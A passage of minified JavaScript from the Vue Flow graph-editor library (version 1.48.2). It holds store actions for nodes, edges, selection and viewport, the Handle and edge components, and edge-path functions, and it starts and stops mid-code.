he=j.nodeElement.getBoundingClientRect();oe.dimensions=se,oe.handleBounds.source=es("source",j.nodeElement,he,I,oe.id),oe.handleBounds.target=es("target",j.nodeElement,he,I,oe.id),M.push({id:oe.id,type:"dimensions",dimensions:se})}}}!e.fitViewOnInitDone&&e.fitViewOnInit&&o.value.fitView().then(()=>{e.fitViewOnInitDone=!0}),M.length&&e.hooks.nodesChange.trigger(M)},g=(y,f)=>{const m=new Set,I=new Set;for(const j of y)Ot(j)?m.add(j.id):$t(j)&&I.add(j.id);const M=wt(t.value,m,!0),U=wt(n.value,I);if(e.multiSelectionActive){for(const j of m)M.push(mt(j,f));for(const j of I)U.push(mt(j,f))}M.length&&e.hooks.nodesChange.trigger(M),U.length&&e.hooks.edgesChange.trigger(U)},_=y=>{if(e.multiSelectionActive){const f=y.map(m=>mt(m.id,!0));e.hooks.nodesChange.trigger(f);return}e.hooks.nodesChange.trigger(wt(t.value,new Set(y.map(f=>f.id)),!0)),e.hooks.edgesChange.trigger(wt(n.value))},b=y=>{if(e.multiSelectionActive){const f=y.map(m=>mt(m.id,!0));e.hooks.edgesChange.trigger(f);return}e.hooks.edgesChange.trigger(wt(n.value,new Set(y.map(f=>f.id)))),e.hooks.nodesChange.trigger(wt(t.value,new Set,!0))},S=y=>{g(y,!0)},$=y=>{const m=(y||e.nodes).map(I=>(I.selected=!1,mt(I.id,!1)));e.hooks.nodesChange.trigger(m)},N=y=>{const m=(y||e.edges).map(I=>(I.selected=!1,mt(I.id,!1)));e.hooks.edgesChange.trigger(m)},v=y=>{if(!y||!y.length)return g([],!1);const f=y.reduce((m,I)=>{const M=mt(I.id,!1);return Ot(I)?m.nodes.push(M):m.edges.push(M),m},{nodes:[],edges:[]});f.nodes.length&&e.hooks.nodesChange.trigger(f.nodes),f.edges.length&&e.hooks.edgesChange.trigger(f.edges)},x=y=>{var f;(f=e.d3Zoom)==null||f.scaleExtent([y,e.maxZoom]),e.minZoom=y},D=y=>{var f;(f=e.d3Zoom)==null||f.scaleExtent([e.minZoom,y]),e.maxZoom=y},V=y=>{var f;(f=e.d3Zoom)==null||f.translateExtent(y),e.translateExtent=y},F=y=>{e.nodeExtent=y,i()},B=y=>{var f;(f=e.d3Zoom)==null||f.clickDistance(y)},G=y=>{e.nodesDraggable=y,e.nodesConnectable=y,e.elementsSelectable=y},L=y=>{const f=y instanceof Function?y(e.nodes):y;!e.initialized&&!f.length||(e.nodes=ts(f,u,e.hooks.error.trigger))},R=y=>{const f=y instanceof Function?y(e.edges):y;if(!e.initialized&&!f.length)return;const m=ai(f,e.isValidConnection,u,c,e.hooks.error.trigger,e.defaultEdgeOptions,e.nodes,e.edges);si(e.connectionLookup,n.value,m),e.edges=m},C=y=>{const f=y instanceof Function?y([...e.nodes,...e.edges]):y;!e.initialized&&!f.length||(L(f.filter(Ot)),R(f.filter($t)))},X=y=>{let f=y instanceof Function?y(e.nodes):y;f=Array.isArray(f)?f:[f];const m=ts(f,u,e.hooks.error.trigger),I=[];for(const M of m)I.push(Wr(M));I.length&&e.hooks.nodesChange.trigger(I)},p=y=>{let f=y instanceof Function?y(e.edges):y;f=Array.isArray(f)?f:[f];const m=ai(f,e.isValidConnection,u,c,e.hooks.error.trigger,e.defaultEdgeOptions,e.nodes,e.edges),I=[];for(const M of m)I.push(Wr(M));I.length&&e.hooks.edgesChange.trigger(I)},k=(y,f=!0,m=!1)=>{const I=y instanceof Function?y(e.nodes):y,M=Array.isArray(I)?I:[I],U=[],j=[];function oe(de){const he=a(de);for(const be of he)(!Ie(be.deletable)||be.deletable)&&j.push(jr(be.id,be.source,be.target,be.sourceHandle,be.targetHandle))}function se(de){const he=[];for(const be of e.nodes)be.parentNode===de&&he.push(be);if(he.length){for(const be of he)U.push(Ur(be.id));f&&oe(he);for(const be of he)se(be.id)}}for(const de of M){const he=typeof de=="string"?u(de):de;he&&(Ie(he.deletable)&&!he.deletable||(U.push(Ur(he.id)),f&&oe([he]),m&&se(he.id)))}j.length&&e.hooks.edgesChange.trigger(j),U.length&&e.hooks.nodesChange.trigger(U)},w=y=>{const f=y instanceof Function?y(e.edges):y,m=Array.isArray(f)?f:[f],I=[];for(const M of m){const U=typeof M=="string"?c(M):M;U&&(Ie(U.deletable)&&!U.deletable||I.push(jr(typeof M=="string"?M:M.id,U.source,U.target,U.sourceHandle,U.targetHandle)))}e.hooks.edgesChange.trigger(I)},O=(y,f,m=!0)=>{const I=c(y.id);if(!I)return!1;const M=e.edges.indexOf(I),U=vg(y,f,I,m,e.hooks.error.trigger);if(U){const[j]=ai([U],e.isValidConnection,u,c,e.hooks.error.trigger,e.defaultEdgeOptions,e.nodes,e.edges);return e.edges=e.edges.map((oe,se)=>se===M?j:oe),si(e.connectionLookup,n.value,[j]),j}return!1},T=(y,f,m={replace:!1})=>{const I=c(y);if(!I)return;const M=typeof f=="function"?f(I):f;I.data=m.replace?M:{...I.data,...M}},z=y=>ko(y,e.nodes),A=y=>{const f=ko(y,e.edges);return si(e.connectionLookup,n.value,f),f},Y=(y,f,m={replace:!1})=>{const I=u(y);if(!I)return;const M=typeof f=="function"?f(I):f;m.replace?e.nodes.splice(e.nodes.indexOf(I),1,M):Object.assign(I,M)},q=(y,f,m={replace:!1})=>{const I=u(y);if(!I)return;const M=typeof f=="function"?f(I):f;I.data=m.replace?M:{...I.data,...M}},ne=(y,f,m=!1)=>{m?e.connectionClickStartHandle=y:e.connectionStartHandle=y,e.connectionEndHandle=null,e.connectionStatus=null,f&&(e.connectionPosition=f)},re=(y,f=null,m=null)=>{e.connectionStartHandle&&(e.connectionPosition=y,e.connectionEndHandle=f,e.connectionStatus=m)},Z=(y,f)=>{e.connectionPosition={x:Number.NaN,y:Number.NaN},e.connectionEndHandle=null,e.connectionStatus=null,f?e.connectionClickStartHandle=null:e.connectionStartHandle=null},K=y=>{const f=Yh(y),m=f?null:hn(y)?y:u(y.id);return!f&&!m?[null,null,f]:[f?y:Eo(m),m,f]},Q=(y,f=!0,m=e.nodes)=>{const[I,M,U]=K(y);if(!I)return[];const j=[];for(const oe of m||e.nodes){if(!U&&(oe.id===M.id||!oe.computedPosition))continue;const se=Eo(oe),de=xo(se,I);(f&&de>0||de>=se.width*se.height||de>=Number(I.width)*Number(I.height))&&j.push(oe)}return j},ce=(y,f,m=!0)=>{const[I]=K(y);if(!I)return!1;const M=xo(I,f);return m&&M>0||M>=Number(I.width)*Number(I.height)},me=y=>{const{viewport:f,dimensions:m,d3Zoom:I,d3Selection:M,translateExtent:U}=e;if(!I||!M||!y.x&&!y.y)return!1;const j=Jt.translate(f.x+y.x,f.y+y.y).scale(f.zoom),oe=[[0,0],[m.width,m.height]],se=I.constrain()(j,oe,U),de=e.viewport.x!==se.x||e.viewport.y!==se.y||e.viewport.zoom!==se.k;return I.transform(M,se),de},ue=y=>{const f=y instanceof Function?y(e):y,m=["d3Zoom","d3Selection","d3ZoomHandler","viewportRef","vueFlowRef","dimensions","hooks"];Ie(f.defaultEdgeOptions)&&(e.defaultEdgeOptions=f.defaultEdgeOptions);const I=f.modelValue||f.nodes||f.edges?[]:void 0;I&&(f.modelValue&&I.push(...f.modelValue),f.nodes&&I.push(...f.nodes),f.edges&&I.push(...f.edges),C(I));const M=()=>{Ie(f.maxZoom)&&D(f.maxZoom),Ie(f.minZoom)&&x(f.minZoom),Ie(f.translateExtent)&&V(f.translateExtent)};for(const U of Object.keys(f)){const j=U,oe=f[j];![...Og,...m].includes(j)&&Ie(oe)&&(e[j]=oe)}Ei(()=>e.d3Zoom).not.toBeNull().then(M),e.initialized||(e.initialized=!0)};return{updateNodePositions:d,updateNodeDimensions:h,setElements:C,setNodes:L,setEdges:R,addNodes:X,addEdges:p,removeNodes:k,removeEdges:w,findNode:u,findEdge:c,updateEdge:O,updateEdgeData:T,updateNode:Y,updateNodeData:q,applyEdgeChanges:A,applyNodeChanges:z,addSelectedElements:S,addSelectedNodes:_,addSelectedEdges:b,setMinZoom:x,setMaxZoom:D,setTranslateExtent:V,setNodeExtent:F,setPaneClickDistance:B,removeSelectedElements:v,removeSelectedNodes:$,removeSelectedEdges:N,startConnection:ne,updateConnection:re,endConnection:Z,setInteractive:G,setState:ue,getIntersectingNodes:Q,getIncomers:r,getOutgoers:s,getConnectedEdges:a,getHandleConnections:l,isNodeIntersecting:ce,panBy:me,fitView:y=>o.value.fitView(y),zoomIn:y=>o.value.zoomIn(y),zoomOut:y=>o.value.zoomOut(y),zoomTo:(y,f)=>o.value.zoomTo(y,f),setViewport:(y,f)=>o.value.setViewport(y,f),setTransform:(y,f)=>o.value.setTransform(y,f),getViewport:()=>o.value.getViewport(),getTransform:()=>o.value.getTransform(),setCenter:(y,f,m)=>o.value.setCenter(y,f,m),fitBounds:(y,f)=>o.value.fitBounds(y,f),project:y=>o.value.project(y),screenToFlowCoordinate:y=>o.value.screenToFlowCoordinate(y),flowToScreenCoordinate:y=>o.value.flowToScreenCoordinate(y),toObject:()=>{const y=[],f=[];for(const m of e.nodes){const{computedPosition:I,handleBounds:M,selected:U,dimensions:j,isParent:oe,resizing:se,dragging:de,events:he,...be}=m;y.push(be)}for(const m of e.edges){const{selected:I,sourceNode:M,targetNode:U,events:j,...oe}=m;f.push(oe)}return JSON.parse(JSON.stringify({nodes:y,edges:f,position:[e.viewport.x,e.viewport.y],zoom:e.viewport.zoom,viewport:e.viewport}))},fromObject:y=>new Promise(f=>{const{nodes:m,edges:I,position:M,zoom:U,viewport:j}=y;m&&L(m),I&&R(I);const[oe,se]=j!=null&&j.x&&(j!=null&&j.y)?[j.x,j.y]:M??[null,null];if(oe&&se){const de=(j==null?void 0:j.zoom)||U||e.viewport.zoom;return Ei(()=>o.value.viewportInitialized).toBe(!0).then(()=>{o.value.setViewport({x:oe,y:se,zoom:de}).then(()=>{f(!0)})})}else f(!0)}),updateNodeInternals:i,viewportHelper:o,$reset:()=>{const y=rl();if(e.edges=[],e.nodes=[],e.d3Zoom&&e.d3Selection){const f=Jt.translate(y.defaultViewport.x??0,y.defaultViewport.y??0).scale(Rt(y.defaultViewport.zoom??1,y.minZoom,y.maxZoom)),m=e.viewportRef.getBoundingClientRect(),I=[[0,0],[m.width,m.height]],M=e.d3Zoom.constrain()(f,I,y.translateExtent);e.d3Zoom.transform(e.d3Selection,M)}ue(y)},$destroy:()=>{}}}const Dg=["data-id","data-handleid","data-nodeid","data-handlepos"],Pg={name:"Handle",compatConfig:{MODE:3}},De=ye({...Pg,props:{id:{default:null},type:{},position:{default:()=>J.Top},isValidConnection:{type:Function},connectable:{type:[Boolean,Number,String,Function],default:void 0},connectableStart:{type:Boolean,default:!0},connectableEnd:{type:Boolean,default:!0}},setup(e,{expose:t}){const n=pu(e,["position","connectable","connectableStart","connectableEnd","id"]),o=_e(()=>n.type??"source"),i=_e(()=>n.isValidConnection??null),{id:r,connectionStartHandle:s,connectionClickStartHandle:a,connectionEndHandle:l,vueFlowRef:u,nodesConnectable:c,noDragClassName:d,noPanClassName:h}=Ne(),{id:g,node:_,nodeEl:b,connectedEdges:S}=ol(),$=pe(),N=_e(()=>typeof e.connectableStart<"u"?e.connectableStart:!0),v=_e(()=>typeof e.connectableEnd<"u"?e.connectableEnd:!0),x=_e(()=>{var R,C,X,p,k,w;return((R=s.value)==null?void 0:R.nodeId)===g&&((C=s.value)==null?void 0:C.id)===e.id&&((X=s.value)==null?void 0:X.type)===o.value||((p=l.value)==null?void 0:p.nodeId)===g&&((k=l.value)==null?void 0:k.id)===e.id&&((w=l.value)==null?void 0:w.type)===o.value}),D=_e(()=>{var R,C,X;return((R=a.value)==null?void 0:R.nodeId)===g&&((C=a.value)==null?void 0:C.id)===e.id&&((X=a.value)==null?void 0:X.type)===o.value}),{handlePointerDown:V,handleClick:F}=nl({nodeId:g,handleId:e.id,isValidConnection:i,type:o}),B=ie(()=>typeof e.connectable=="string"&&e.connectable==="single"?!S.value.some(R=>{const C=R[`${o.value}Handle`];return R[o.value]!==g?!1:C?C===e.id:!0}):typeof e.connectable=="number"?S.value.filter(R=>{const C=R[`${o.value}Handle`];return R[o.value]!==g?!1:C?C===e.id:!0}).length{var R;if(!_.dimensions.width||!_.dimensions.height)return;const C=(R=_.handleBounds[o.value])==null?void 0:R.find(z=>z.id===e.id);if(!u.value||C)return;const X=u.value.querySelector(".vue-flow__transformationpane");if(!b.value||!$.value||!X||!e.id)return;const p=b.value.getBoundingClientRect(),k=$.value.getBoundingClientRect(),w=window.getComputedStyle(X),{m22:O}=new window.DOMMatrixReadOnly(w.transform),T={id:e.id,position:e.position,x:(k.left-p.left)/O,y:(k.top-p.top)/O,type:o.value,nodeId:g,...Vo($.value)};_.handleBounds[o.value]=[..._.handleBounds[o.value]??[],T]});function G(R){const C=ar(R);B.value&&N.value&&(C&&R.button===0||!C)&&V(R)}function L(R){!g||!a.value&&!N.value||B.value&&F(R)}return t({handleClick:F,handlePointerDown:V,onClick:L,onPointerDown:G}),(R,C)=>(H(),W("div",{ref_key:"handle",ref:$,"data-id":`${P(r)}-${P(g)}-${e.id}-${o.value}`,"data-handleid":e.id,"data-nodeid":P(g),"data-handlepos":R.position,class:Te(["vue-flow__handle",[`vue-flow__handle-${R.position}`,`vue-flow__handle-${e.id}`,P(d),P(h),o.value,{connectable:B.value,connecting:D.value,connectablestart:N.value,connectableend:v.value,connectionindicator:B.value&&(N.value&&!x.value||v.value&&x.value)}]]),onMousedown:G,onTouchstartPassive:G,onClick:L},[Me(R.$slots,"default",{id:R.id})],42,Dg))}}),Fo=function({sourcePosition:e=J.Bottom,targetPosition:t=J.Top,label:n,connectable:o=!0,isValidTargetPos:i,isValidSourcePos:r,data:s}){const a=s.label??n;return[$e(De,{type:"target",position:t,connectable:o,isValidConnection:i}),typeof a!="string"&&a?$e(a):$e(Se,[a]),$e(De,{type:"source",position:e,connectable:o,isValidConnection:r})]};Fo.props=["sourcePosition","targetPosition","label","isValidTargetPos","isValidSourcePos","connectable","data"];Fo.inheritAttrs=!1;Fo.compatConfig={MODE:3};const zg=Fo,Yo=function({targetPosition:e=J.Top,label:t,connectable:n=!0,isValidTargetPos:o,data:i}){const r=i.label??t;return[$e(De,{type:"target",position:e,connectable:n,isValidConnection:o}),typeof r!="string"&&r?$e(r):$e(Se,[r])]};Yo.props=["targetPosition","label","isValidTargetPos","connectable","data"];Yo.inheritAttrs=!1;Yo.compatConfig={MODE:3};const Rg=Yo,Go=function({sourcePosition:e=J.Bottom,label:t,connectable:n=!0,isValidSourcePos:o,data:i}){const r=i.label??t;return[typeof r!="string"&&r?$e(r):$e(Se,[r]),$e(De,{type:"source",position:e,connectable:n,isValidConnection:o})]};Go.props=["sourcePosition","label","isValidSourcePos","connectable","data"];Go.inheritAttrs=!1;Go.compatConfig={MODE:3};const Bg=Go,Vg=["transform"],Hg=["width","height","x","y","rx","ry"],Lg=["y"],Fg={name:"EdgeText",compatConfig:{MODE:3}},Yg=ye({...Fg,props:{x:{},y:{},label:{},labelStyle:{default:()=>({})},labelShowBg:{type:Boolean,default:!0},labelBgStyle:{default:()=>({})},labelBgPadding:{default:()=>[2,4]},labelBgBorderRadius:{default:2}},setup(e){const t=pe({x:0,y:0,width:0,height:0}),n=pe(null),o=ie(()=>`translate(${e.x-t.value.width/2} ${e.y-t.value.height/2})`);it(i),Ee([()=>e.x,()=>e.y,n,()=>e.label],i);function i(){if(!n.value)return;const r=n.value.getBBox();(r.width!==t.value.width||r.height!==t.value.height)&&(t.value=r)}return(r,s)=>(H(),W("g",{transform:o.value,class:"vue-flow__edge-textwrapper"},[r.labelShowBg?(H(),W("rect",{key:0,class:"vue-flow__edge-textbg",width:`${t.value.width+2*r.labelBgPadding[0]}px`,height:`${t.value.height+2*r.labelBgPadding[1]}px`,x:-r.labelBgPadding[0],y:-r.labelBgPadding[1],style:ae(r.labelBgStyle),rx:r.labelBgBorderRadius,ry:r.labelBgBorderRadius},null,12,Hg)):ke("",!0),E("text",go(r.$attrs,{ref_key:"el",ref:n,class:"vue-flow__edge-text",y:t.value.height/2,dy:"0.3em",style:r.labelStyle}),[Me(r.$slots,"default",{},()=>[typeof r.label!="string"?(H(),Ce(kt(r.label),{key:0})):(H(),W(Se,{key:1},[xu(ve(r.label),1)],64))])],16,Lg)],8,Vg))}}),Gg=["id","d","marker-end","marker-start"],Xg=["d","stroke-width"],Wg={name:"BaseEdge",inheritAttrs:!1,compatConfig:{MODE:3}},Xo=ye({...Wg,props:{id:{},labelX:{},labelY:{},path:{},label:{},markerStart:{},markerEnd:{},interactionWidth:{default:20},labelStyle:{},labelShowBg:{type:Boolean},labelBgStyle:{},labelBgPadding:{},labelBgBorderRadius:{}},setup(e,{expose:t}){const n=pe(null),o=pe(null),i=pe(null),r=qi();return t({pathEl:n,interactionEl:o,labelEl:i}),(s,a)=>(H(),W(Se,null,[E("path",go(P(r),{id:s.id,ref_key:"pathEl",ref:n,d:s.path,class:"vue-flow__edge-path","marker-end":s.markerEnd,"marker-start":s.markerStart}),null,16,Gg),s.interactionWidth?(H(),W("path",{key:0,ref_key:"interactionEl",ref:o,fill:"none",d:s.path,"stroke-width":s.interactionWidth,"stroke-opacity":0,class:"vue-flow__edge-interaction"},null,8,Xg)):ke("",!0),s.label&&s.labelX&&s.labelY?(H(),Ce(Yg,{key:1,ref_key:"labelEl",ref:i,x:s.labelX,y:s.labelY,label:s.label,"label-show-bg":s.labelShowBg,"label-bg-style":s.labelBgStyle,"label-bg-padding":s.labelBgPadding,"label-bg-border-radius":s.labelBgBorderRadius,"label-style":s.labelStyle},null,8,["x","y","label","label-show-bg","label-bg-style","label-bg-padding","label-bg-border-radius","label-style"])):ke("",!0)],64))}});function sl({sourceX:e,sourceY:t,targetX:n,targetY:o}){const i=Math.abs(n-e)/2,r=n=0?.5*e:t*25*Math.sqrt(-e)}function rs({pos:e,x1:t,y1:n,x2:o,y2:i,c:r}){let s,a;switch(e){case J.Left:s=t-qn(t-o,r),a=n;break;case J.Right:s=t+qn(o-t,r),a=n;break;case J.Top:s=t,a=n-qn(n-i,r);break;case J.Bottom:s=t,a=n+qn(i-n,r);break}return[s,a]}function ll(e){const{sourceX:t,sourceY:n,sourcePosition:o=J.Bottom,targetX:i,targetY:r,targetPosition:s=J.Top,curvature:a=.25}=e,[l,u]=rs({pos:o,x1:t,y1:n,x2:i,y2:r,c:a}),[c,d]=rs({pos:s,x1:i,y1:r,x2:t,y2:n,c:a}),[h,g,_,b]=al({sourceX:t,sourceY:n,targetX:i,targetY:r,sourceControlX:l,sourceControlY:u,targetControlX:c,targetControlY:d});return[`M${t},${n} C${l},${u} ${c},${d} ${i},${r}`,h,g,_,b]}function ss({pos:e,x1:t,y1:n,x2:o,y2:i}){let r,s;switch(e){case J.Left:case J.Right:r=.5*(t+o),s=n;break;case J.Top:case J.Bottom:r=t,s=.5*(n+i);break}return[r,s]}function ul(e){const{sourceX:t,sourceY:n,sourcePosition:o=J.Bottom,targetX:i,targetY:r,targetPosition:s=J.Top}=e,[a,l]=ss({pos:o,x1:t,y1:n,x2:i,y2:r}),[u,c]=ss({pos:s,x1:i,y1:r,x2:t,y2:n}),[d,h,g,_]=al({sourceX:t,sourceY:n,targetX:i,targetY:r,sourceControlX:a,sourceControlY:l,targetControlX:u,targetControlY:c});return[`M${t},${n} C${a},${l} ${u},${c} ${i},${r}`,d,h,g,_]}const as={[J.Left]:{x:-1,y:0},[J.Right]:{x:1,y:0},[J.Top]:{x:0,y:-1},[J.Bottom]:{x:0,y:1}};function Ug({source:e,sourcePosition:t=J.Bottom,target:n}){return t===J.Left||t===J.Right?e.xe[d]?-1:1)*p:$[d]=(u[d]>n[d]?-1:1)*p}}if(t!==o){const X=d==="x"?"y":"x",p=s[d]===a[X],k=l[X]>u[X],w=l[X]=C?(_=(G.x+L.x)/2,b=g[0].y):(_=g[0].x,b=(G.y+L.y)/2)}return[[e,{x:l.x+S.x,y:l.y+S.y},...g,{x:u.x+$.x,y:u.y+$.y},n],_,b,x,D]}function Zg(e,t,n,o){const i=Math.min(ls(e,t)/2,ls(t,n)/2,o),{x:r,y:s}=t;if(e.x===r&&r===n.x||e.y===s&&s===n.y)return`L${r} ${s}`;if(e.y===s){const u=e.x{let x;return v>0&&v{const[n,o,i]=qg(e);return $e(Xo,{path:n,labelX:o,labelY:i,...t,...e})}}}),Jg=Kg,Qg=ye({name:"SmoothStepEdge",props:["sourcePosition","targetPosition","label","labelStyle","labelShowBg","labelBgStyle","labelBgPadding","labelBgBorderRadius","sourceY","sourceX","targetX","targetY","borderRadius","markerEnd","markerStart","interactionWidth","offset"],compatConfig:{MODE:3},setup(e,{attrs:t}){return()=>{const[n,o,i]=Pi({...e,sourcePosition:e.sourcePosition??J.Bottom,targetPosition:e.targetPosition??J.Top});return $e(Xo,{path:n,labelX:o,labelY:i,...t,...e})}}}),cl=Qg,ep=ye({name:"StepEdge",props:["sourcePosition","targetPosition","label","labelStyle","labelShowBg","labelBgStyle","labelBgPadding","labelBgBorderRadius","sourceY","sourceX","targetX","targetY","markerEnd","markerStart","interactionWidth"],setup(e,{attrs:t}){return()=>$e(cl,{...e,...t,borderRadius:0})}}),tp=ep,np=ye({name:"BezierEdge",props:["sourcePosition","targetPosition","label","labelStyle","labelShowBg","labelBgStyle","labelBgPadding","labelBgBorderRadius","sourceY","sourceX","targetX","targetY","curvature","markerEnd","markerStart","interactionWidth"],compatConfig:{MODE:3},setup(e,{attrs:t}){return()=>{const[n,o,i]=ll({...e,sourcePosition:e.sourcePosition??J.Bottom,targetPosition:e.targetPosition??J.Top});return $e(Xo,{path:n,labelX:o,labelY:i,...t,...e})}}}),op=np,ip=ye({name:"SimpleBezierEdge",props:["sourcePosition","targetPosition","label","labelStyle","labelShowBg","labelBgStyle","labelBgPadding","labelBgBorderRadius","sourceY","sourceX","targetX","targetY","markerEnd","markerStart","interactionWidth"],compatConfig:{MODE:3},setup(e,{attrs:t}){return()=>{const[n,o,i]=ul({...e,sourcePosition:e.sourcePosition??J.Bottom,targetPosition:e.targetPosition??J.Top});return $e(Xo,{path:n,labelX:o,labelY:i,...t,...e})}}}),rp=ip,sp={input:Bg,default:zg,output:Rg},ap={default:op,straight:Jg,step:tp,smoothstep:cl,simplebezier:rp};function lp(e,t,n){const o=ie(()=>b=>t.value.get(b)),i=ie(()=>b=>n.value.get(b)),r=ie(()=>{const b={...ap,...e.edgeTypes},S=Object.keys(b);for(const $ of e.edges)$.type&&!S.includes($.type)&&(b[$.type]=$.type);return b}),s=ie(()=>{const b={...sp,...e.nodeTypes},S=Object.keys(b);for(const $ of e.nodes)$.type&&!S.includes($.type)&&(b[$.type]=$.type);return b}),a=ie(()=>e.onlyRenderVisibleElements?Wa(e.nodes,{x:0,y:0,width:e.dimensions.width,height:e.dimensions.height},e.viewport,!0):e.nodes),l=ie(()=>{if(e.onlyRenderVisibleElements){const b=[];for(const S of e.edges){const $=t.value.get(S.source),N=t.value.get(S.target);ig({sourcePos:$.computedPosition||{x:0,y:0},targetPos:N.computedPosition||{x:0,y:0},sourceWidth:$.dimensions.width,sourceHeight:$.dimensions.height,targetWidth:N.dimensions.width,targetHeight:N.dimensions.height,width:e.dimensions.width,height:e.dimensions.height,viewport:e.viewport})&&b.push(S)}return b}return e.edges}),u=ie(()=>[...a.value,...l.value]),c=ie(()=>{const b=[];for(const S of e.nodes)S.selected&&b.push(S);return b}),d=ie(()=>{const b=[];for(const S of e.edges)S.selected&&b.push(S);return b}),h=ie(()=>[...c.value,...d.value]),g=ie(()=>{const b=[];for(const S of e.nodes)S.dimensions.width&&S.dimensions.height&&S.handleBounds!==void 0&&b.push(S);return b}),_=ie(()=>a.value.length>0&&g.value.length===a.value.length);return{getNode:o,getEdge:i,getElements:u,getEdgeTypes:r,getNodeTypes:s,getEdges:l,getNodes:a,getSelectedElements:h,getSelectedNodes:c,getSelectedEdges:d,getNodesInitialized:g,areNodesInitialized:_}}class Ct{constructor(){this.currentId=0,this.flows=new Map}static getInstance(){var t;const n=(t=on())==null?void 0:t.appContext.app,o=(n==null?void 0:n.config.globalProperties.$vueFlowStorage)??Ct.instance;return Ct.instance=o??new Ct,n&&(n.config.globalProperties.$vueFlowStorage=Ct.instance),Ct.instance}set(t,n){return this.flows.set(t,n)}get(t){return this.flows.get(t)}remove(t){return this.flows.delete(t)}create(t,n){const o=rl(),i=wu(o),r={};for(const[h,g]of Object.entries(i.hooks)){const _=`on${h.charAt(0).toUpperCase()+h.slice(1)}`;r[_]=g.on}const s={};for(const[h,g]of Object.entries(i.hooks))s[h]=g.trigger;const a=ie(()=>{const h=new Map;for(const g of i.nodes)h.set(g.id,g);return h}),l=ie(()=>{const h=new Map;for(const g of i.edges)h.set(g.id,g);return h}),u=lp(i,a,l),c=Ag(i,a,l);c.setState({...i,...n});const d={...r,...u,...c,...Ku(i),nodeLookup:a,edgeLookup:l,emits:s,id:t,vueFlowVersion:"1.48.2",$destroy:()=>{this.remove(t)}};return this.set(t,d),d}getId(){return`vue-flow-${this.currentId++}`}}function Ne(e){const t=Ct.getInstance(),n=ia(),o=typeof e=="object",i=o?e:{id:e},r=i.id,s=r??(n==null?void 0:n.vueFlowId);let a;if(n){const l=Ht(is,null);typeof l<"u"&&l!==null&&(!s||l.id===s)&&(a=l)}if(a||s&&(a=t.get(s)),!a||s&&a.id!==s){const l=r??t.getId(),u=t.create(l,i);a=u,(n??na(!0)).run(()=>{Ee(u.applyDefault,(d,h,g)=>{const _=S=>{u.applyNodeChanges(S)},b=S=>{u.applyEdgeChanges(S)};d?(u.onNodesChange(_),u.onEdgesChange(b)):(u.hooks.value.nodesChange.off(_),u.hooks.value.edgesChange.off(b)),g(()=>{u.hooks.value.nodesChange.off(_),u.hooks.value.edgesChange.off(b)})},{immediate:!0}),_n(()=>{if(a){const d=t.get(a.id);d?d.$destroy():zn(`No store instance found for id ${a.id} in storage.`)}})})}else o&&a.setState(i);if(n&&(Dt(is,a),n.vueFlowId=a.id),o){const l=on();(l==null?void 0:l.type.name)!=="VueFlow"&&a.emits.error(new Ae(Oe.USEVUEFLOW_OPTIONS))}return a}function up(e){const{emits:t,dimensions:n}=Ne();let o;it(()=>{const i=()=>{var r,s;if(!e.value||!(((s=(r=e.value).checkVisibility)==null?void 0:s.call(r))??!0))return;const a=Vo(e.value);(a.width===0||a.height===0)&&t.error(new Ae(Oe.MISSING_VIEWPORT_DIMENSIONS)),n.value={width:a.width||500,height:a.height||500}};i(),window.addEventListener("resize",i),e.value&&(o=new ResizeObserver(()=>i()),o.observe(e.value)),ji(()=>{window.removeEventListener("resize",i),o&&e.value&&o.unobserve(e.value)})})}const cp={name:"UserSelection",compatConfig:{MODE:3}},dp=ye({...cp,props:{userSelectionRect:{}},setup(e){return(t,n)=>(H(),W("div",{class:"vue-flow__selection vue-flow__container",style:ae({width:`${t.userSelectionRect.width}px`,height:`${t.userSelectionRect.height}px`,transform:`translate(${t.userSelectionRect.x}px, ${t.userSelectionRect.y}px)`})},null,4))}}),fp=["tabIndex"],hp={name:"NodesSelection",compatConfig:{MODE:3}},gp=ye({...hp,setup(e){const{emits:t,viewport:n,getSelectedNodes:o,noPanClassName:i,disableKeyboardA11y:r,userSelectionActive:s}=Ne(),a=il(),l=pe(null),u=tl({el:l,onStart(_){t.selectionDragStart(_),t.nodeDragStart(_)},onDrag(_){t.selectionDrag(_),t.nodeDrag(_)},onStop(_){t.selectionDragStop(_),t.nodeDragStop(_)}});it(()=>{var _;r.value||(_=l.value)==null||_.focus({preventScroll:!0})});const c=ie(()=>rr(o.value)),d=ie(()=>({width:`${c.value.width}px`,height:`${c.value.height}px`,top:`${c.value.y}px`,left:`${c.value.x}px`}));function h(_){t.selectionContextMenu({event:_,nodes:o.value})}function g(_){r.value||jt[_.key]&&(_.preventDefault(),a({x:jt[_.key].x,y:jt[_.key].y},_.shiftKey))}return(_,b)=>!P(s)&&c.value.width&&c.value.height?(H(),W("div",{key:0,class:Te(["vue-flow__nodesselection vue-flow__container",P(i)]),style:ae({transform:`translate(${P(n).x}px,${P(n).y}px) scale(${P(n).zoom})`})},[E("div",{ref_key:"el",ref:l,class:Te([{dragging:P(u)},"vue-flow__nodesselection-rect"]),style:ae(d.value),tabIndex:P(r)?void 0:-1,onContextmenu:h,onKeydown:g},null,46,fp)],6)):ke("",!0)}});function pp(e,t){return{x:e.clientX-t.left,y:e.clientY-t.top}}const vp={name:"Pane",compatConfig:{MODE:3}},mp=ye({...vp,props:{isSelecting:{type:Boolean},selectionKeyPressed:{type:Boolean}},setup(e){const{vueFlowRef:t,nodes:n,viewport:o,emits:i,userSelectionActive:r,removeSelectedElements:s,userSelectionRect:a,elementsSelectable:l,nodesSelectionActive:u,getSelectedEdges:c,getSelectedNodes:d,removeNodes:h,removeEdges:g,selectionMode:_,deleteKeyCode:b,multiSelectionKeyCode:S,multiSelectionActive:$,edgeLookup:N,nodeLookup:v,connectionLookup:x,defaultEdgeOptions:D,connectionStartHandle:V,panOnDrag:F}=Ne(),B=Et(null),G=Et(new Set),L=Et(new Set),R=Et(null),C=_e(()=>l.value&&(e.isSelecting||r.value)),X=_e(()=>V.value!==null);let p=!1,k=!1;const w=wn(b,{actInsideInputWithModifier:!1}),O=wn(S);Ee(w,Z=>{Z&&(h(d.value),g(c.value),u.value=!1)}),Ee(O,Z=>{$.value=Z});function T(Z,K){return Q=>{Q.target===K&&(Z==null||Z(Q))}}function z(Z){if(p||X.value){p=!1;return}i.paneClick(Z),s(),u.value=!1}function A(Z){var K;if(Array.isArray(F.value)&&((K=F.value)!=null&&K.includes(2))){Z.preventDefault();return}i.paneContextMenu(Z)}function Y(Z){i.paneScroll(Z)}function q(Z){var K,Q,ce;if(R.value=((K=t.value)==null?void 